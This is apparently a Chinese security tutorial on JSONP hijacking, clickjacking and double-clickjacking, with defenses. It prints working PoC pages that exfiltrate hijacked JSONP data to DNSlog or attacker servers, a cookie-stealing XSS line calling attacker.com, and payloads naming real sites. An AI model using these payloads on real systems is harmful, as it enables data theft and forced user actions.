一文彻底领悟JSONP、点击劫持、双击劫持漏洞
JSONP
JSONP(JSON with Padding)是一种用于解决跨域数据请求的变通方案,其核心原理是利用 <script>
标签的跨域特性绕过同源策略。
我们以一个例子来展开
现在我们有两个服务器(IP1:http://test:8069/
、IP2: http://php/
),我们在IP1服务器上搭建了一个服务,为了减轻服务器的负担,我们把这个服务需要的文件放在IP2服务器上,IP1机器需要从IP2服务器上加载一个远程文件,那我们如何绕过同源策略,去加载文件呢?请继续看下去
远程文件如下:http://php/1.json
用户在使用服务时,IP1就可以使用<script>
的src属性,来远程加载IP2的1.json文件,获取信息1.json的代码,替换下述行
1
| <script src='http://php/1.json'></script>
|
搭建个demo看看效果
IP1(http://test:8069/1.html
)
1 2 3 4 5 6 7 8
| <body> <script> function testfun(data){ alert(data); } </script> <script src="http://php/1.json"></script> </body>
|
IP2(http://php/1.json
)
访问http://test:8069/1.html
时,也就就会弹窗

其实此时IP1下的1.html就等价于
1 2 3 4 5 6 7 8
| <body> <script> function testfun(data){ alert(data); } </script> <script>testfun(111)</script> </body>
|
这就是简单的一个jsonp实现
那我们如何利用这个特性来获取数据呢?
我们简单对1.json文件的内容进行如下修改
1
| callback({ username: "Sentim", password: "123456" })
|
然后对1.html修改为
1 2 3 4 5 6 7 8
| <body> <script> function callback(data){ alert("name:"+data.username+" passwrod:"+data.password); } </script> <script src="http://php/1.json"></script> </body>
|
那不就变成了
1 2 3 4 5 6 7 8
| <body> <script> function callback(data){ alert("name:"+data.username+" passwrod:"+data.password); } </script> <script>callback({ username: "Sentim", password: "123456" })</script> </body>
|
就会返回数据

JSONP劫持漏洞
JSONP 劫持(JSONP Hijacking) 是一种利用 JSONP(JSON with Padding)跨域数据交互机制的安全漏洞,攻击者通过构造恶意页面窃取用户敏感数据。其核心原理是:绕过同源策略(Same-Origin Policy),诱导用户访问恶意网站,从而截获目标网站的 JSONP 接口返回的隐私信息。
漏洞探针
当我们发现某个功能点返回的数据类似于xxx({ username: "Sentim", password: "123456" })
那我们就可以编写js来劫持获取它传输的数据
漏洞原理&利用
在早期,前后端分离等技术还不成熟的时候,这种问题实际上是非常常见的。很多开发者的设计方法简单粗暴,一个简单的例子,一个A论坛,有一个返回用户信息的接口,开发者的设计理念是,用户在登录状态下访问网站,会调用这个接口,这是一个jsonp接口,返回的内容就是:
xxxxx({ username: “Sentim”, password: “123456” })
然后前端通过上述方法获取其信息并加载到网页上。
虽然很方便,但是我们只需要找出这个jsonp接口,然后按上述方法加工成jsonp.html,如果一个在A论坛处于登陆状态的用户不慎访问到了黑客在网站B部署的jsonp.html,那么我们就可以获取用户的敏感信息了!
我们再简单写个demo,http://test:8069/test.php
1 2 3 4 5 6 7 8 9 10
| <?php header('Content-type:application/json'); error_reporting(0); session_start(); $callback =$_GET['callback']; $name =$_GET['name']; if($name='admin'){ echo $callback."({'id':1,'name':'Sentiment'})"; } ?>
|
假设用户在admin权限下访问http://test:8069/test.php?callback=testme
那么就会返回
testme({‘id’:1,’name’:’Sentiment’})
同时可以把这些敏感数据外带
我们直接编写POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <html> <head> <title>lol</title> <meta charset="utf-8"> </head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script> function testme(v){ alert("JSONP hijacking"); var h = ''; for(var key in v){ var a = ''; a = key + ' : ' + v[key] + ' ,'; h += a; } alert(h); $.get('http://<自己服务器的IP>/1.html?value='+h);<!--数据外带--> } </script> <script src="http://test:8069/test.php?callback=testme&name=admin"></script> <body> <h1>Welcome</h1> </body> </html>
|
为什么这个callback=testme,这个testme要和POC中写的那个获取信息的函数的函数名是一样的?非常简单,程序员在开发jsonp接口的时候,其开发习惯就是这样的,jsonp接口通过一个参数(一般参数名都是callback),这个参数接收到的数据就会作为函数名被拼接成
所以上述代码就变成了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <html> <head> <title>lol</title> <meta charset="utf-8"> </head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script> function testme(v){ alert("JSONP hijacking"); var h = ''; for(var key in v){ var a = ''; a = key + ' : ' + v[key] + ' ,'; h += a; } alert(h); $.get('http://<自己服务器的IP>/1.html?value='+h); } </script> <script>testme({'id':1,'name':'Sentiment'})</script> <body> <h1>Welcome</h1> </body> </html>
|
然后我们访问我们的poc脚本1.html

再看我们的服务器也成功外带了数据

反正在挖掘这块,我们可以着重注意某个接口的返回结果是否是
testme({‘id’:1,’name’:’Sentiment’})
类似这样的数据类型,如果是,那么这就是一个jsonp接口,我们可以尝试jsonp劫持获取其数据!
当然jsonp劫持,一般来说只有劫持到有敏感信息的接口危害才比较大.
常用Payload
1、验证jsonp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script> function jsoncallback(json){ alert(JSON.stringify(json)) } </script> <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body> </html>
|
2、发送Dnslog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script> function jsoncallback(json){ new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json) } </script> <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>
</body> </html>
|
3、jQuery jsonp验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> $(document).ready(function(){ $("#button").click(function(){ $.ajax({ url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback", type: "GET", dataType: "jsonp", jsonp: "callback", jsonpCallback: "jsoncallback", success: function (data) { var result = JSON.stringify(data); $("#text").val(result); } }) }) }) </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
|
4、jQuery 发送Dnslog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> $(document).ready(function(){ $("#button").click(function(){ $.ajax({ url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback", type: "GET", dataType: "jsonp", jsonp: "callback", jsonpCallback: "jsoncallback", success: function (data) { new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(data)))) } }) }) }) </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
|
5、jQuey javascript调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>JSONP EXP跨域测试</title> </head> <body>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"> </script>
<script> function jsoncallback (result) { var data = JSON.stringify(result); $("#text").val(data); }
$(document).ready(function () {
$("#button").click(function () { $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>"); });
}); </script>
<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" /> <textarea id="text" style="width: 400px; height: 100px;"></textarea>
</body> </html>
|
JSONP绕过
绕过Referer头部检测
a、有些检查Referer不严格的,只检查Referer中有自身域名字段(例如:assc.com),我们就可以构造http://attack.com/1.html?a=assc.com就可以直接绕过,与CSRF差不多
b、有时候开发允许Referer置空,毕竟不是访问任何站点都要带Referer。然后就是另外一种置空方式,利用 <iframe>
标签调用 javscript 伪协议来实现空 Referer 调用 JSON 文件
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE html> <html lang='en'> <head> <title>jsonp 不带Referer</title> </head> <body> jsonp 不带Referer 劫持测试 </body> <iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback></script>'" frameborder="0"></iframe> </html>
|
总之大体上的绕过思路和CSRF一致,依葫芦画瓢即可
万能POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <!DOCTYPE html> <html lang='en'> <head> <meta name="referrer" content="never" charset="utf-8"> <title>jsonp获取百度</title> </head> <body> <h1>JSONP 获取百度ID</h1>
</body> <script type="text/javascript"> function testme(data){ var hacker_data = JSON.stringify(data) document.write("<p>" + hacker_data + "</p>") alert(hacker_data) var xmlHttp; xmlHttp=new XMLHttpRequest(); var url = "http://<自己服务器>/testok.php?user="+ btoa(hacker_data); xmlHttp.open("GET", url, true); xmlHttp.send(null); } </script> <script src="https://api-u-ssl.xunlei.com/common/GetVipAccount?callback=Zepto1690179020979"></script>
</html>
|
这个万能POC就是主要注意三个修改的地方:
1、callback的参数值要与实际场景而定,例如如果相应包中是testme({'id':1,'name':'Sentiment'})
这种形式,那么就要修改为callback=testme
2、发送请求的函数名,如 1 的种情况,就要改为function testme
(data)
3、接收数据服务器地址,根据自己的服务器地址来填var url = "http://<自己服务器>/testok.php?user="
挖掘技巧
burp插件
JSONP-hunter:https://github.com/p1g3/JSONP-Hunter

主要检测参数callback,但是实际情况不一定都是使用的callback参数,还是要自己查看请求包,观察相应包是否与testme({'id':1,'name':'Sentiment'})
相近的数据
JSONP型xss
当我们使用callback时,其实是满足吃什么吐什么的条件的,举个例子,你在jsonp接口传入:
?callback=hello的时候,页面上就会出现以hello开头的一串数据,这不就是吃什么吐什么吗?那么这里就可能造成XSS(<script>(new Image).src='http://attacker.com/steal?data='+btoa(document.cookie);</script>
),但是需要条件
这个和content-type有关系,当数据包的默认content-type为text/html时,那么这个点就会触发反射型XSS,值得一提的是,PHP默认content-type就是text/html,所以可以对PHP进一步关注
经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS
XSS打JSONP
只需要找到一个符合referer、origin要求的域名,然后找个XSS,用XSS来打JSONP劫持。
反正我们JSONP劫持的攻击POC也就是JS代码,我们可以把XSS payload设置成,当触发XSS的时候,自动运行JSONP劫持的JS代码就行了!也算是xss的一种利用方式。
JSONP防御
防御方式 |
安全性 |
适用场景 |
仅允许受信任的来源 |
较低 |
只能作为辅助措施 |
采用 Token 验证 |
较高 |
需要身份验证的 API |
限制 callback 名称 |
中等 |
防止 XSS,但无法阻止数据泄露 |
采用 CORS 代替 JSONP |
最高 |
推荐使用,适用于所有现代 Web 应用 |
关闭 JSONP |
最佳 |
如果可以,完全禁用 JSONP |
点击劫持漏洞
介绍&原理说明
点击劫持是一种非常简单的漏洞,它的意思就是说,我们跳转到某个页面,但是在这个页面上覆盖了攻击者自定义的一个页面(使用iframe加载原截面),受害者看到的页面是被覆盖后的页面,这个页面上有些可供点击的功能点。受害人点击这些功能点的时候,殊不知实际上点击的是原来的页面上的某些点,因此当原界面上有些敏感操作的按钮的时候(比如删除用户、新增用户、关注投币收藏等类似的功能),就会被触发。这就是点击劫持。
通过上面的描述可以很清晰的看出,这个漏洞造成的危害和CSRF是类似的。
漏洞实现
以一个payload为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <!DOCTYPE HTML> <html> <meta http-equiv="Content-Type" content="text/html; charset="utf-8" /> <head> <title>点击劫持</title> <style> html,body,iframe{ display: block; height: 100%; width: 100%; margin: 0; padding: 0; border:none; } iframe{ opacity:0.3; filter:alpha(opacity=0); position:absolute; z-index:2; } button{ position:absolute; top: 350px; left: 850px; z-index: 1; width: 72px; height: 26px; } </style> </head> <body> 万万想不到 <button>查看详情</button> <iframe src="https://tieba.baidu.com/p/9536743109"></iframe> </body> </html>
|
//Iframe标签里填的地址是存在可能被点击劫持按钮的界面
//opacity 意为透明度,可以先调高一点来调整按钮位置,确认无误之后再调低
//button里的width和height可以调整按钮大小
//button里的top 和 left可以调节按钮在页面中的位置
界面如下

当他人在登陆情况下,点击我的上述查看详情payload,他就会收藏活动了,当然我们可以自定义按钮的位置,界面透明度,来诱导用户点击。当然,实战中的话,你还可以把这个伪装页面设计的更逼真更有诱导性一点,总之举一反三即可

变种
这个变种主要来自于我们payload的多样性。
分别可以有拖拽、滑动,甚至是扫码(具体实现直接启用GPT实现即可)。只要是做的够好,就可以瞒天过海,神不知鬼不觉的盗取数据!!!
漏洞对抗
要对抗这种经典的点击劫持漏洞非常简单,只需要确保我们的敏感页面不能被iframe加载就行,使用X-Frame-Options或者CSP机制都可以实现防御,这里我们在响应头里使用X-Frame-Options来防御
使用 X-Frame-Options 有三个可选的值:
1 2 3
| DENY:浏览器拒绝当前页面加载任何iFrame页面 SAMEORIGIN:iframe页面的地址只能为同源域名下的页面 ALLOW-FROM:origin为允许iframe加载的页面地址
|
如下图,我们在响应头里添加X-Frame-Options: DENY去进行防御

访问就会发现失败了

使用

也会无法连接,只有当header('X-Frame-Options:ALLOW-FROM');
以及没有X-Frame-Options头部时,才能使用iframe加载敏感页面

此外还有一些防御方法,比如使用SameSite=Lax、SameSite=Strict去禁止跨站请求中发送Cookie,这样我们无法通过鉴权,不具备正常的用户身份,这样绝大多数敏感操作都没有意义了。
总结
所以记住好点击劫持的那几个POC。然后主要也和CSRF有点类似,要时刻注意那些敏感的用户操作,而且点击劫持更严苛,我们要注意那些能够实现“一键”完成功能的敏感操作。
比方说什么删除当前帐号,再比如什么一键重置密码,再比如一键转账之类的,反正当你发现光秃秃的点一下按钮,就能直接实现某些特定操作的时候,就要想到能不去点击劫持。
当然既然是敏感用户操作,我们还是最好先去看看CSRF,点击劫持毕竟也是冷门漏洞,虽然都可以实现控制用户行为的效果,但是点击劫持适用范围比CSRF更小,所以遇到敏感用户操作还是先看CSRF后看点击劫持比较好!
双击劫持漏洞
介绍
多次劫持漏洞不像上述漏洞一样使用iframe来加载页面。而是利用多个窗口中单击开始和第二次单击结束之间的小间隙,而不使用任何弹出式技巧。攻击者出于看似合法的原因加载(或打开)新窗口,例如“验证码验证”。然后,就在按下第二次点击之前,恶意网站可以从同一浏览器会话(例如 OAuth 授权提示)快速切换到更敏感的窗口,从而有效地劫持第二次点击。
感谢以下分享
1 2
| https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html https://mp.weixin.qq.com/s/X0DegKo9ALB9FBWDAW1BIw
|
漏洞复现
我们以下面这两个文件为目标站点,模拟敏感操作
test.php(删除模块)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>模板删除</title> <style> body { margin: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; background-color: } .container { text-align: center; } .delete-btn { background-color: color: white; padding: 18px 45px; border-radius: 6px; font-size: 18px; cursor: pointer; transition: all 0.3s; border: none; text-decoration: none; display: inline-block; margin-bottom: 12px; } .delete-btn:hover { background-color: transform: scale(1.05); } .warning-text { color: font-size: 14px; max-width: 280px; margin: 0 auto; line-height: 1.6; } </style> </head> <body> <div class="container"> <a href="test2.php" class="delete-btn">删除模板</a> <p class="warning-text">删除操作不可撤销,确定要继续操作吗?</p> </div> </body> </html>
|
test2.php(删除成功的回显)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php header('Content-Type: text/html; charset=utf-8'); ?> <!DOCTYPE html> <html> <head> <title>删除成功</title> <style> body { display: flex; justify-content: center; align-items: center; min-height: 100vh; font-size: 24px; color: } </style> </head> <body> <?= htmlspecialchars('Delete Success!') ?> </body> </html>
|
然后编写POC(该POC要以html形式保存到我们的服务器上才行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <!DOCTYPE HTML> <html> <script> function openDoubleWindow(url, top, left, width, height) { var evilWindow = window.open(window.location.protocol+"//"+ window.location.hostname+":"+ window.location.port+"/random", "_blank"); evilWindow.onload = function() { evilWindow.document.open(); evilWindow.document.write(` <script> setTimeout(function() { opener.location = "${url}"; }, 1000); </scr`+`ipt> <div id="doubleclick" type="button" class="button" style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';" onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div> <script> document.getElementById('doubleclick').addEventListener('mousedown', function() { window.close(); }); </scr`+`ipt>`); evilWindow.document.close(); }; } </script>
<button onclick="openDoubleWindow('http://test:8069/test.php', 428, 730, 210, 50)">open</button> </html>
|
POC构建页面如下

当用户上当,双击了”Double Click Here”按钮时,第一次点击就会关闭当前页面,之后就会跳转后敏感操作界面,然后第二次点击就会点击到另一个网页下与此按钮同一个位置下的”删除模块”按钮,就是实现的删除的敏感操作。
当然我这个为了演示,是加了延迟跳转的,实际情况下可以直接点击open按钮后,直接跳转。当然要是运用到实战中去,肯定界面不会如此简陋,还可以更有诱惑力
POC分析
我们再来分析其POC来剖析是如何实现的
1
| <button onclick="openDoubleWindow('http://test:8069/test.php', 428, 730, 210, 50)">open</button>
|
1、点击触发:用户点击页面上的 <button>
元素,该按钮的 onclick
事件会触发 openDoubleWindow()
函数。
1 2 3 4 5 6 7 8 9 10 11 12
| function openDoubleWindow(url, top, left, width, height) { var evilWindow = window.open(window.location.protocol+"//"+ window.location.hostname+":"+ window.location.port+"/random", "_blank"); evilWindow.onload = function() { evilWindow.document.open(); evilWindow.document.write(` 定义双击劫持诱导页面`) evilWindow.document.close(); }; }
|
2、打开新窗口:openDoubleWindow()
函数通过 window.open()
打开一个新窗口,加载的 URL 是与当前页面相同源的 /random
路径。这是为了绕过一些浏览器的安全机制,因为打开的这个新窗口不会直接指向恶意链接,而是一个看似无害的本地 URL(即“随机”路径)。新窗口加载后,会执行 evilWindow.onload
中的 JavaScript 代码。
3、恶意代码执行:在新窗口加载完毕后,恶意代码会通过 <script>
标签将一些代码写入新窗口:
延迟操作:1秒后,通过 opener.location = "${url}";
来修改原始页面的 URL。这实际上是一个窗口跳转,将用户重定向到恶意链接。实际情况下我们可以缩短时间。
1 2 3
| setTimeout(function() { opener.location = "${url}"; }, 1000);
|
伪装成按钮:新窗口中还会插入一个按钮样式的 div
元素,样式使得它看起来像一个正常的页面按钮。这个按钮的作用是在用户点击时关闭新窗口。
1 2 3
| <div id="doubleclick" type="button" class="button" style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';" onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div>
|
“两次点击”劫持:
- 用户首先点击原页面的
<button>
,这时会打开一个新窗口(即 /random
页面)。在这个新窗口中,隐藏了一个伪装成按钮的元素(div
),让它看起来像是一个正常的页面按钮(按钮的外观和行为被精心设计来诱使用户点击)。
- 用户接下来再点击这个按钮(“Double Click Here”),而这个点击事件会触发新窗口的关闭,并导致通过
opener.location = "${url}";
进行页面跳转。
- 换句话说,用户实际上点击了 两次:第一次点击打开新窗口,第二次点击才触发恶意操作(URL 跳转)。
漏洞防御
目前并没有成熟的方法来防御这个双击劫持,我们问一下GPT:

然后让他提供防御代码

很明显,我们都没有使用iframe,它加X-Frame-Options头部完全是无稽之谈,但是为了保险期间,我们还是把这些防范方法写到敏感界面(test.php)中去,看看到底能不能防御到

再次复现以下漏洞,发现在第一次点击关闭窗口后,敏感操作界面直接走样了

这种为了防止漏洞而自砍手臂的方式,肯定是算不上防范方法的
难道就无法防范了吗?有的兄弟有的,原作者给出的解决方案是在用户进入一些敏感页面时,会先把页面上所有可交互的按钮锁住无法点击,在用户正式使用敏感功能前,新增一个验证机制(可以是验证码啥的),通过这个验证码校验后才解锁敏感操作的按钮。虽然有用,但是肯定会影响用户体验。希望后面会有更好的解决方法吧。
总结
还有就是,上述的jsonp、点击劫持其实和csrf差不多一个性质,我们可以先尝试csrf,然后再试试这两个漏洞。然后双击劫持也是一个很偏门的漏洞,具体收取情况还要根据相关的漏洞收取公告来分析!!!希望本次分享可以帮助到师傅们!!!